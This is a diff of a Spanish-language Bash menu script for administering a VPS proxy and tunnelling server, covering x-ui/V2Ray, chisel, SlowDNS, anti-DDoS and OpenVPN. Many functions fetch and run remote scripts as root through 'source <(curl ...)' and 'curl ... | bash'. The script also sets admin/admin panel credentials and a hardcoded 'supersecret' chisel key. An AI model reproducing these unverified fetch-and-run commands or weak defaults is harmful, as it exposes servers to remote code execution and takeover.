+ msg -verm " Con Fallo!!!"
+ msg -bar
+ fi
+cd /root
+
+#portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq)
+#_pFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2 | cut -d " " -f1 | uniq)"
+psi=`cat /root/psi.txt`
+echo -e "\033[1;33m SERVER CONFIG:\033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m"
+echo -e "\033[1;32m $psi \033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m"
+echo -e "\033[1;33m PROTOCOLOS:\033[0m"
+echo -e "\033[1;33m FRONTED-MEEK-OSSH:\033[1;32m $httposh \033[0m"
+echo -e "\033[1;33m OSSH:\033[1;32m $osh \033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m"
+echo -e " "
+echo -e "\033[1;33m DIRECTORIO DE ARCHIVOS:\033[1;32m /root/psi \033[0m"
+[[ -z $portFTP ]] && echo -e "SERVICIO FTP NO ACTIVO " || {
+IP="$(cat < /bin/ejecutar/IPcgh)"
+cp /root/psi.txt /var/www/html/psi.txt
+echo -e "\033[1;33m RUTA PUBLICA DE CONFIG GENERADA:\033[1;32m http://$IP:${portFTP}/psi.txt \033[0m"
+}
+fi
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mSI DESEAS REINICIAR ESTE SERVICIO "
+ echo -e " SE RECOMIENDA SOLO IR AL MENU PRINCIPAL"
+ echo -e " MENU 7, OPCION 1, SUBOBCION 1"
+ echo -e " REINICIARAS TODOS LOS SERVICIOS SIN REINICIAR."
+ echo -e " TU SERVIDOR VPS\033[0m"
+msg -bar
+}
+
+
+antiddos (){
+if [ -d '/usr/local/ddos' ]; then
+ if [ -e '/usr/local/sbin/ddos' ]; then
+ rm -f /usr/local/sbin/ddos
+ fi
+ if [ -d '/usr/local/ddos' ]; then
+ rm -rf /usr/local/ddos
+ fi
+ if [ -e '/etc/cron.d/ddos.cron' ]; then
+ rm -f /etc/cron.d/ddos.cron
+ fi
+ sleep 1s
+ msg -bar
+ echo -e "\033[1;31m ANTIDDOS DESINSTALADO CON EXITO\033[1;37m"
+ msg -bar
+ return 1
+else
+ mkdir /usr/local/ddos
+fi
+wget -q -O /usr/local/ddos/ddos.conf https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/ADM-MANAGER-MOD/master/DDOS/ddos.conf -o /dev/null
+wget -q -O /usr/local/ddos/LICENSE http://www.inetbase.com/scripts/ddos/LICENSE -o /dev/null
+wget -q -O /usr/local/ddos/ignore.ip.list http://www.inetbase.com/scripts/ddos/ignore.ip.list -o /dev/null
+wget -q -O /usr/local/ddos/ddos.sh http://www.inetbase.com/scripts/ddos/ddos.sh -o /dev/null
+chmod 0755 /usr/local/ddos/ddos.sh
+cp -s /usr/local/ddos/ddos.sh /usr/local/sbin/ddos
+/usr/local/ddos/ddos.sh --cron > /dev/null 2>&1
+sleep 2s
+msg -bar
+echo -e "\033[1;32m ANTIDDOS INSTALADO CON EXITO.\033[1;37m"
+msg -bar
+}
+
+v2ui() {
+cd $HOME
+fun_ip(){
+red='\033[0;31m'
+green='\033[0;32m'
+yellow='\033[0;33m'
+plain='\033[0m'
+last_version=$(curl -Ls "https://api.github.com/repos/vaxilu/x-ui/releases/latest" | grep 'V' | sed -E 's/.*"([^"]+)".*/\1/')
+MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MIP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP"
+}
+kill -9 $(ps x|grep -v grep|grep "xray-linu"|awk '{print $1}')
+kill -9 $(ps x|grep -v grep|grep "x-ui"|awk '{print $1}')
+bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh)
+fun_ip
+autogen() {
+x-ui start > /dev/null 2>&1
+x-ui enable > /dev/null 2>&1
+[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui
+[[ -d /etc/x-ui ]] && cd /etc/x-ui
+openssl genrsa -out key.key 2048 > /dev/null 2>&1
+(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"; echo ""; echo "$(cat < /bin/ejecutar/IPcgh):81"; echo ""; echo ""; echo ""; echo "@ChumoGH")|openssl req -new -x509 -key /etc/x-ui/cert.key -out /etc/x-ui/cert.crt -days 1095 > /dev/null 2>&1
+cd $HOME
+fun_bar
+echo -e "CERTIFICADO GENERADO"
+}
+creargen(){
+x-ui start
+x-ui enable
+[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui > /dev/null 2>&1
+[[ -d /etc/x-ui ]] && cd /etc/x-ui > /dev/null 2>&1
+openssl genrsa 2048 > key.key
+openssl req -new -key key.key -x509 -days 1000 -out cert.crt
+#[[ -e /etc/x-ui/key.key ]] && cp /etc/x-ui/key.key /etc/x-ui/cert.key
+#[[ -e /etc/x-ui/cert.crt ]] && cp /etc/x-ui/cert.crt /etc/x-ui/cert.crt
+fun_bar
+echo -e "CERTIFICADO GENERADO"
+}
+certdom () {
+[[ ! -d /etc/x-ui ]] && mkdir /etc/x-ui
+[[ -d /etc/x-ui ]] && cd /etc/x-ui
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh)
+[[ -e /data/cert.crt && -e /data/cert.key ]] && {
+cat /data/cert.key > /etc/x-ui/cert.key
+cat /data/cert.crt > /etc/x-ui/cert.crt
+echo -e "CERTIFICADO GENERADO"
+} || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+}
+
+certweb () {
+[[ -e /etc/x-ui/cert.key && -e /etc/x-ui/cert.crt ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25
+msg -bar
+echo -e "Descarga el fichero URL del Certificado SSL "
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online"
+ echo -e " Si Aun no lo has hecho, Cancela este paso"
+ echo -e " Evitar Errores Futuros"
+ echo -e " y causar problemas en futuras instalaciones.\033[0m"
+ msg -bar
+msg -bar
+echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados "
+msg -bar
+read -p " Pega tu Link : " urlm
+wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido"
+msg -bar
+echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m"
+msg -bar
+unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir "
+[[ -e private.key ]] && cat private.key > /etc/x-ui/cert.key && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m"
+[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt > /etc/x-ui/cert.crt && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m"
+rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME
+}
+}
+
+act_gen () {
+v2ray-cgh="/etc/x-ui" > /dev/null 2>&1
+while [[ ${varread} != @([0-5]) ]]; do
+echo -e "\033[1;33mv2-ui v${last_version}${plain} La instalación está completa y el panel se ha activado??"
+systemctl daemon-reload
+systemctl enable x-ui
+systemctl start x-ui
+echo -e ""
+echo -e " Si se trata de una nueva instalación \n El puerto web predeterminado es ${green}54321${plain},\n El nombre de usuario y la contraseña son ambos predeterminados ${green}admin${plain}"
+echo -e " Asegúrese de que este puerto no esté ocupado por otros programas,\n${yellow}Asegúrate 65432 El puerto ha sido liberado${plain}"
+echo -e " Si desea modificar 65432 a otro puerto, \n ingrese el comando x-ui para modificarlo, \n y también asegúrese de que el puerto que modifica también esté permitido"
+echo -e ""
+echo -e "Si es un panel de actualización, acceda al panel como lo hizo antes, \n A continuacion crearemos su Certificado SSL"
+echo -e ""
+msg -bar
+echo -e " WELCOME TO V2RAY-UI, MOD ChumoGH-ADM \n \033[1;36mREAD THE INSTRUCTIONS CAREFULLY BEFORE CONTINUING....."
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#EXPERIMENTAL)"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m Regresar"
+msg -bar
+echo -ne "${cor[6]}"
+read -p " Opcion : " varread
+done
+msg -bar
+if [[ ${varread} = 0 ]]; then
+return 0
+elif [[ ${varread} = 1 ]]; then
+autogen
+elif [[ ${varread} = 2 ]]; then
+creargen
+elif [[ ${varread} = 3 ]]; then
+certweb
+elif [[ ${varread} = 4 ]]; then
+certdom
+fi
+}
+act_gen
+clear&&clear
+msg -bar
+echo -e "\033[1;36m 1). -PRIMER PASO -"
+msg -bar
+echo -e "\n Desde Cualquier Navegador WEB | \nAccede con \033[1;32m http://$IP:54321 \033[1;31m "
+msg -bar
+echo -e "\033[1;32m 2). -SEGUNDO PASO -"
+msg -bar
+echo -e "\nUSUARIO \033[1;32m admin\033[1;33m PASSWD \033[1;31m admin\033[1;31m "
+msg -bar
+echo -e "\033[1;32m 3). -TERCER PASO -"
+msg -bar
+echo -e "\033[1;34mEn \033[1;32maccounts\033[1;31m añade en \033[1;32m+\033[1;31m y fijate "
+msg -bar
+echo -e "\033[1;32m 4). -CUARTO PASO -"
+msg -bar
+echo -e "\033[1;31mAsegurate de Activar el \033[1;31mTLS"
+msg -bar
+echo -e "\033[1;32m 5). -QUINTO PASO -"
+msg -bar
+echo -e "\033[1;31m Escoje tu Protocolo ADECUADO, \n Y en DOMAIN tu dominio"
+msg -bar
+echo -e "\033[1;32m 6). -SEXTO PASO -"
+msg -bar
+echo -e "\033[1;31m En cert file path : \033[1;33m/etc/x-ui/cert.crt "
+echo -e "\033[1;31m En key file path : \033[1;33m/etc/x-ui/cert.key "
+msg -bar
+echo -e "\033[1;32m 7). -SEPTIMO PASO -"
+msg -bar
+echo -e "\033[1;32m💥 ASEGURATE DE MODIFICAR EL USUARIO Y PUERTO DE ACCESO 💥"
+msg -bar
+echo -e "\033[1;32m 8). -Añade mas Perfiles, Si deseas!! -"
+msg -bar
+echo -e "\033[1;32m 9). -DISFRUTA TU CONFGURACION SI TODO ES CORRECTO -"
+msg -bar
+echo -e "\033[1;32m 9). - Si deseas acceder al PANNEL teclea \033[1;35mx-ui \033[1;32men consola -"
+msg -bar
+echo -e " MANUAL EN EL PORTAL https://seakfind.github.io/2021/10/10/X-UI/ "
+msg -bar
+curl -o /usr/bin/x-ui -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/x-ui.sh
+chmod +x /usr/bin/x-ui
+
+msg -ama " UNLOCK SYSTEMCTL ...."
+ if systemctl daemon-reload &> /dev/null ;then
+ msg -verd " Con exito!!!"
+ msg -bar
+ else
+ msg -verm " Con fallo!!!"
+ msg -bar
+fi
+msg -ama " HABILITANDO X-UI ...."
+ if systemctl x-ui enable &> /dev/null ;then
+ msg -verd " Con exito!!!"
+ msg -bar
+ else
+ msg -verm " Con fallo!!!"
+ msg -bar
+fi
+
+msg -ama " Reiniciando X-UI ...."
+ if systemctl x-ui restart &> /dev/null ;then
+ msg -verd " Con exito!!!"
+ msg -bar
+ else
+ msg -verm " Con fallo!!!"
+ msg -bar
+fi
+
+[[ -f "/usr/sbin/ufw" ]] && ufw allow 54321/tcp 1> /dev/null 2> /dev/null
+}
+
+v2ray-socket() {
+msg -bar
+echo -e "MOTOR DE INSTALACION DE PANNEL WEB Y CONSOLA DE V2RAY Y XRAY"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Original (Todo en Consola) \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Rufu99 Mod @ChumoGH \033[0;32m(#OFICIAL) " #\033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Reforma @ChumoGH \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Pannel WEB ( X-RAY ) Traduccion @ChumoGH \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m${flech}\033[0;33m REMOVED V2RAY BASE "
+#echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m${flech}\033[0;33m FIX PARA INSTALLS FAILS DE V2RAY "
+msg -bar
+selection=$(selection_fun 7)
+case ${selection} in
+1)
+[[ -e /etc/v2ray/config.json ]] && v2r.sh || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray.sh)
+;;
+2)
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray_manager.url.sh)
+;;
+3)
+unset yesno
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+echo "DESEAS ENTRAR AL MENU PASO A PASO "
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+echo 'source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu
+chmod +x /bin/v2ray.menu
+v2ray.menu
+else
+v2ray
+fi
+exit
+;;
+4)
+[[ -e /usr/bin/x-ui ]] && x-ui || v2ui
+;;
+5)
+source <(curl -sL https://multi.netlify.com/v2ray.sh) --remove
+source <(curl -sL https://git.io/fNgqx) --remove
+rm -rf /usr/local/V2ray.Fun
+rm -f /etc/v2ray/*
+rm -rf /etc/v2ray/
+exit
+;;
+99)
+msg -bar
+echo -e ""
+echo -e " ESTE PROCESO PUEDE DEMORAR UN POCO "
+echo -e ""
+echo -e " LE RECOMENDAMOS SER PACIENTE DURANTE EL PROCESO"
+echo ""
+read -p "PRESIONE ENTER PARA COMENZAR"
+_fix_() {
+apt update
+sudo apt install software-properties-common
+sudo add-apt-repository ppa:deadsnakes/ppa
+apt update
+sudo apt install python3.7 -y
+python3.7 --version
+sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 2
+sudo update-alternatives --config python3
+python3.7 -m pip install pip
+sudo apt-get install -y build-essential checkinstall libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev zlib1g-dev openssl libffi-dev python3-dev python3-setuptools wget
+mkdir /tmp/Python37
+cd /tmp/Python37
+wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz
+tar xvf Python-3.7.0.tar.xz
+cd /tmp/Python37/Python-3.7.0
+./configure
+sudo make altinstall
+ sync
+ echo 3 >/proc/sys/vm/drop_caches
+ sync && sysctl -w vm.drop_caches=3
+ sysctl -w vm.drop_caches=0
+ swapoff -a
+ swapon -a
+ killall kswapd0 > /dev/null 2>&1
+ killall tcpdump > /dev/null 2>&1
+ killall ksoftirqd > /dev/null 2>&1
+}
+function aguarde() {
+ helice() {
+ _fix_ >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m FIXEANDO PYTHON 3.7 \033[1;32mV2RAY \033[1;37m. \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+echo -e " ESTE PROCESO DEMORARA UN POCO, TENGA PACIENCIA!!!"
+echo -e ""
+aguarde
+#clear&&clear
+msg -bar
+echo -e ""
+echo -e " ESTE PROCESO FINALIZO "
+echo -e ""
+echo -e " PRUEBE INSTALAR V2RAY NUEVAMENTE"
+echo ""
+;;
+*)
+return 0
+;;
+esac
+}
+
+fun_openvpn () {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/openvpn.sh)
+}
+
+function tcpd(){
+echo -e "A continuacion se instalara el TCP DNS"
+echo -e "Este paquete solo funcionara en Debian/Ubuntu"
+echo -e "AVISO!!!"
+echo -e "Para realizar la instalacion de TCP DNS"
+echo -e "Debes configurar previamente tu DNS/Dominio"
+echo -e "Si aun no lo haz configurado el DNS/Dominio"
+echo -e "Presiona CTRL + C para cancelar la instalacion"
+echo -e "Si ya configuraste tu DNS/Dominio Correctamente, presiona ENTER"
+read -p " "
+echo -e "Espera un momento..."
+echo -e "Limpiando DNS Primario..."
+sleep 1
+sed -i '/DNSStubListener/d' /etc/systemd/resolved.conf
+echo -e "Agregando Fix DNS Primario..."
+sleep 1
+echo "DNSStubListener=no" >> /etc/systemd/resolved.conf
+echo -e "Reiniciando DNS Primario..."
+sleep 1
+ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf
+systemctl restart systemd-resolved
+echo -e "Instalando paquetes Necesarios, espere... "
+sleep 1
+apt-get install python-pip -y 1> /dev/null 2> /dev/null
+apt-get install libevent-dev -y 1> /dev/null 2> /dev/null
+apt-get install python-gevent -y 1> /dev/null 2> /dev/null
+apt-get install python-daemon -y 1> /dev/null 2> /dev/null
+git clone https://github.com/henices/Tcp-DNS-proxy.git 1> /dev/null 2> /dev/null
+cd Tcp-DNS-proxy/
+wget https://raw.githubusercontent.com/serverdensity/python-daemon/master/daemon.py
+chmod +x ./install.sh
+./install.sh
+screen -dmS tcpdns python tcpdns.py -f tcpdns.json.example
+cd /root
+echo -e "TCP DNS Instalado"
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+return 0
+}
+
+slow-dns () {
+clear&&clear
+apt-get install ncurses-utils > /dev/null 2>&1
+msg -bar
+[[ ! -d /ADMcgh/slow/ ]] && mkdir -p /ADMcgh/slow/
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/SlowDNS.sh)
+}
+
+_funUDP () {
+[[ -e /tmp/udpSS ]] && bash /tmp/udpSS || {
+wget -q -O /tmp/udpSS https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/UDPserver.sh
+bash /tmp/udpSS
+}
+rm -f /tmp/udpSS
+}
+
+function dnsserver(){
+echo -e "Instalando DNS Server"
+curl -sSL https://download.technitium.com/dns/install.sh | bash 1> /dev/null 2> /dev/null
+echo -e "Actualizando DNS del Servidor"
+echo -e "DNS Server Instalado"
+echo -e "Consola Web DNS Server: http://$(cat < /bin/ejecutar/IPcgh):5380/"
+echo -e "No olvide establecer su password admin del Panel"
+}
+
+
+fun_chisel() {
+ cor1='\033[41;1;37m'
+ cor2='\033[44;1;37m'
+ scor='\033[0m'
+ GREEN='\033[1;32m'
+ YELLOW='\033[1;33m'
+ SCOLOR='\033[0m'
+ echo -e "\E[44;1;37m GERENCIAR CHISEL \E[0m"
+ echo ""
+
+
+ [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && {
+ sks='\033[1;32mON'
+ echo -e "\033[1;33mPORTAS\033[1;37m: \033[1;32m$(netstat -nplt | grep 'docker' | awk {'print $4'} | cut -d: -f2 | xargs)"
+ } || {
+ sks='\033[1;31mOFF'
+ }
+ [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && {
+ chiselsts="\033[1;32m?? "
+ } || {
+ chiselsts="\033[1;31m?? "
+ }
+ echo ""
+ echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m?? \033[1;33mATIVAR CHISEL $chiselsts \033[0m"
+ echo -e "\033[1;31m[\033[1;36m2\033[1;31m] \033[1;37m?? \033[1;33mREINICIAR CHISEL\033[0m"
+ echo -e "\033[1;31m[\033[1;36m0\033[1;31m] \033[1;37m?? \033[1;33mVOLTAR\033[0m"
+ echo ""
+ echo -ne "\033[1;32mRaj, escolhe uma carta \033[1;33m?\033[1;37m "
+ read resposta
+ if [[ "$resposta" = '1' ]]; then
+ if netstat -nltp | grep 'docker' 1>/dev/null 2>/dev/null; then
+ clear
+ echo -e "\E[41;1;37m CHISEL \E[0m"
+ echo ""
+ fun_chiseloff() {
+ docker stop chisel
+ docker rm chisel
+ docker.io stop chisel
+ docker.io rm chisel
+
+ }
+ echo -e "\033[1;32mDESACTIVANDO CHISEL\033[1;33m"
+ echo ""
+ fun_bar 'fun_chiseloff'
+ echo ""
+ echo -e "\033[1;32mCHISEL DESACTIVADO CON EXITO!\033[1;33m"
+ sleep 3
+ fun_chisel
+ else
+ clear
+ fun_installdocker() {
+ _pacotes=("docker" "docker.io")
+ for _prog in ${_pacotes[@]}; do
+ apt install $_prog -y
+ done
+ }
+ echo -e "\n${YELLOW}ESTEJA CIENTE QUE ESSE METODO É INSTAVEL\nPODE OU NÃO FUNCIONAR NA SUA MAQUINA\nFIQUE CIENTE DOS RISCOS ! ${SCOLOR}\n"
+ echo -ne "${GREEN}DESEJA CONTINUAR A INSTALACAO ? ${YELLOW}[s/n]:${SCOLOR} "
+ read resp
+ [[ "$resp" != @(s|sim|S|SIM) ]] && {
+ echo -e "\n${RED}Retornando...${SCOLOR}"
+ sleep 2
+ conexao
+ }
+ echo -e "\n\033[1;32mSOPORTE A Ubuntu 16+ \033[1;33m"
+ echo -e "\n\033[1;32mINSTALANDO O CHISEL !\033[1;33m"
+ echo ""
+ fun_bar 'fun_installdocker'
+ clear
+ echo -e "\E[44;1;37m CHISEL \E[0m"
+ echo ""
+ echo -ne "\033[1;32mCUAL PORTA DESEA ULTILIZAR \033[1;33m?\033[1;37m: "
+ read porta
+ [[ -z "$porta" ]] && {
+ echo ""
+ echo -e "\033[1;31mPUERTO INVALIDO!"
+ sleep 3
+ clear
+ fun_chisel
+ }
+ verif_ptrs $porta
+ clear
+ echo -ne "\033[1;32mNOMBRE DE USUARIO:\033[1;37m ";read username
+ [[ -z $username ]] && {
+ echo -e "\n${cor1}NO INGRESO NOMBRE DE USUARIO!${scor}\n"
+ fun_chisel
+ }
+ [[ ${username} != ?(+|-)+([a-zA-Z0-9]) ]] && {
+ echo -e "\n${cor1}SU NOMBRE DE USUARIO ES INCORRECTO!${scor}"
+ echo -e "${cor1}NO USE ESPACIOS, NI CARACTERES ESPECIALES!${scor}\n"
+ fun_chisel
+ }
+ sizemin=$(echo ${#username})
+ [[ $sizemin -lt 2 ]] && {
+ echo -e "\n${cor1}Você digitou um nome de usuário muito curto${scor}"
+ echo -e "${cor1}use no mínimo dois caracteres!${scor}\n"
+ fun_chisel
+ }
+ sizemax=$(echo ${#username})
+ [[ $sizemax -gt 10 ]] && {
+ echo -e "\n${cor1}Você digitou um nome de usuário muito grande"
+ echo -e "${cor1}use no máximo 10 caracteres!${scor}\n"
+ fun_chisel
+ }
+ echo -ne "\033[1;32mCONTRASEÑA:\033[1;37m ";read password
+ [[ -z $password ]] && {
+ echo -e "\n${cor1}NO SE INGRESO CONTRASEÑA!${scor}\n"
+ fun_chisel
+ }
+ sizepass=$(echo ${#password})
+ [[ $sizepass -lt 4 ]] && {
+ echo -e "\n${cor1}CONTRASEÑA MUY CORTA, USE MINIMO 4 CARACTERES${scor}\n"
+ fun_chisel
+ }
+ echo -e "\n\033[1;32mCONFIGURANDO CHISEL !\033[0m"
+ echo ""
+ fun_inichisel() {
+ docker run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password"
+ docker.io run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password"
+ }
+ fun_bar 'fun_inichisel'
+ clear
+ echo -e "\n\033[1;32mCHISEL INSTALADO EXITOSAMENTE !\033[1;31m PORTA: \033[1;33m${porta}\033[0m"
+ sleep 3
+ clear
+ fun_chisel
+ fi
+ elif [[ "$resposta" = '2' ]]; then
+ clear
+ echo -e "\n\033[1;32mREINICIANDO CHISEL !\033[1;33m"
+ echo ""
+ fun_attchisel() {
+ docker restart chisel
+ docker.io restart chisel
+ }
+ fun_attchisel
+ clear
+ echo -e "\n\033[1;32mCHISEL REINICIANDO EXITOSAMENTE !\033[1;33m"
+ sleep 1
+ fun_chisel
+ elif [[ "$resposta" = '0' ]]; then
+ echo ""
+ echo -e "\033[1;31mRetornando...\033[0m"
+ sleep 1
+ return
+ else
+ echo ""
+ echo -e "\033[1;31mOpcao invalida !\033[0m"
+ sleep 1
+ fi
+ }
+while true; do
+#FUNCOES
+cor[0]="\033[0m"
+cor[1]="\033[1;34m"
+cor[2]="\033[1;32m"
+cor[3]="\033[1;37m"
+cor[4]="\033[1;36m"
+cor[5]="\033[1;33m"
+cor[6]="\033[1;35m"
+unset squid
+unset dropbear
+unset openvpn
+unset stunel
+unset shadow
+unset telegran
+unset socks
+unset gettun
+unset tcpbypass
+unset webminn
+unset ddos
+unset v2ray
+_portbaSE="$(netstat -tunlp)"
+_ps="$(ps x)"
+tojanss=`if echo -e "$_portbaSE" | grep trojan 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+echo -e "\033[1;31m[OFF]"
+fi`;
+[[ $(echo -e "$_portbaSE" | grep trojan) ]] && pTROJ="\033[1;32m[ON] " || pTROJ="\033[1;31m[OFF]"
+pps=`if echo -e "$_portbaSE" | grep psiphond 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+echo -e "\033[1;31m[OFF]"
+fi`;
+v2ray=`if echo -e "$_portbaSE" | grep v2ray 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+ if echo -e "$_portbaSE" | grep x-ui 1> /dev/null 2> /dev/null; then
+ echo -e "\033[1;32m[\033[0;34mUI\033[1;32m] "
+ else
+ echo -e "\033[1;31m[OFF]"
+ fi
+fi`;
+
+xclash=`if echo -e "$_portbaSE" | grep clash 1> /dev/null 2> /dev/null; then
+echo -e "\033[1;32m[ON] "
+else
+[[ -e /root/.config/clash/config.yaml ]] && echo -e "\033[1;32m[\033[0;34mCFA\033[1;32m]" || echo -e "\033[1;31m[OFF]"
+fi`;
+[[ $(echo -e "${_ps}"| grep udpServer| grep -v grep) ]] && _pidUDP="\033[0;34m[US] " || {
+ [[ $(echo -e "${_ps}"| grep UDP-Custom| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mUC\033[1;32m] " || {
+ [[ $(echo -e "${_ps}"| grep hysteria| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mHYS\033[1;32m] "
+ } || _pidUDP="\033[1;31m[OFF]"
+}
+slowssh=$(echo -e "${_ps}"| grep "slowdns-ssh"|grep -v grep > /dev/null && echo -e "\033[1;32m?? " || echo -e "\033[1;31m?? ")
+slowpid=$(echo -e "${_ps}" | grep -w "dns-server" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $slowpid ]] && P1="\033[0;32m[ON] " || P1="\033[1;31m[OFF]"
+[[ -e /etc/squid3/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]"
+[[ -e /etc/squid/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]"
+[[ $(echo -e "$_portbaSE" |grep dropbear|head -1) ]] && dropb="\033[1;32m[ON] " || dropb="\033[1;31m[OFF]"
+[[ -e /etc/openvpn/server.conf ]] && openvpn="\033[0;32m[ON] " || openvpn="\033[1;31m[OFF]"
+[[ $(echo -e "$_portbaSE" |grep stunnel|head -1) ]] && stunel="\033[1;32m[ON] " || stunel="\033[1;31m[OFF]"
+[[ -e /etc/shadowsocks.json ]] && shadow="\033[1;32m[ON]" || shadow="\033[1;31m[OFF]"
+[[ "$(echo -e "${_ps}" | grep "ultimatebot" | grep -v "grep")" != "" ]] && telegran="\033[1;32m[ON]"
+[[ $(echo -e "${_ps}" | grep "PDirect.py") ]] && socks="\033[1;32m[\033[0;34mPyD\033[1;32m]" || socks="\033[1;31m[OFF]"
+[[ $(echo -e "${_ps}" | grep "PDirect80") ]] && socksA="\033[1;32m[\033[0;34mRUN\033[1;32m]" || socksA="\033[1;31m[OFF]"
+[[ -e /ADMcgh/edbypass ]] && tcpbypass="\033[1;32m[ON]" || tcpbypass="\033[1;31m[OFF]"
+[[ -e /etc/webmin/miniserv.conf ]] && webminn="\033[1;32m[ON]" || webminn="\033[1;31m[OFF]"
+[[ -e /usr/local/x-ui/bin/config.json ]] && v2ui="\033[1;32m[ON]" || v2ui="\033[1;31m[OFF]"
